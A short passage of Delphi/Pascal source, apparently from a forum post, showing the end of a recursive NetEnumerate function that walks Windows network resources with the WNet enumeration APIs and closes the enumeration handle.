      if(RESOURCEUSAGE_CONTAINER =(lpnrLocalArr[i].dwUsage and RESOURCEUSAGE_CONTAINER)) then
         NetEnumerate(@lpnrLocalArr[i],callme);
```

```
      end;

     end
       else
          begin


          end;

     until dwResultEnum = ERROR_NO_MORE_ITEMS ;


 GlobalFree(THandle(lpnrLocal));


      dwResult := WNetCloseEnum(hEnum);

      if(dwResult <> NO_ERROR) then
      begin
      NetEnumerate:=false;
      Exit;
      end;




NetEnumerate:=true;
end;
end.
```